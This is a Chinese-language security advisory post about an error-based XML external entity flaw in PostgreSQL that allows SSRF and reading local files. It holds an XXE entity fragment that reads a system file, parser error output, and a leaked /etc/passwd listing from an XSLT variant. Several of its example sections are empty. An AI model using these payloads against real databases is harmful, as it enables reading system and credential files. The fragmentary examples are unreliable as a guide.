PostgreSQL基于錯誤XML外部實體攻擊

最近國外安全人員發現了一個PostgreSQL（所有版本）基于錯誤XML外部實體執行的高危漏洞。

經測試，該漏洞可以從資料庫伺服器請求到内網（SSRF-伺服器端請求僞造），并可以利用xml實體注入讀取任意本地檔案。

執行個體：

DoS:

SSRF:

Error-based XXE:

ERROR:  invalid XML document

DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name

exec 9<&0 </etc/fstab        ^

/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name

exec 9<&0 </etc/fstab         ^

/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced

exec 9<&0 </etc/fstab           ^

Entity: line 1: parser error : Failure to process entity abc

E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;

^

Entity: line 1: parser error : Entity ‘abc’ not defined

最新更新

通過從XXE到XSLT格式的轉換，可以讀取到伺服器任意資料，測試語句如下：

xslt_process

<?xml version=”1.0″?>

< samples><sample>root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false

sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin

puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false

Debian-exim:x:111:115::/var/spool/exim4:/bin/false

alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash

oxod:x:1001:1001:,,,:/home/oxod:/bin/bash

mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false

postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

oracle:x:1002:1002::/u01/app/oracle:/bin/bash

< /sample></samples>

(1 row)

拓展閱讀

參考文獻

<a href="http://lab.onsec.ru/">http://lab.onsec.ru</a>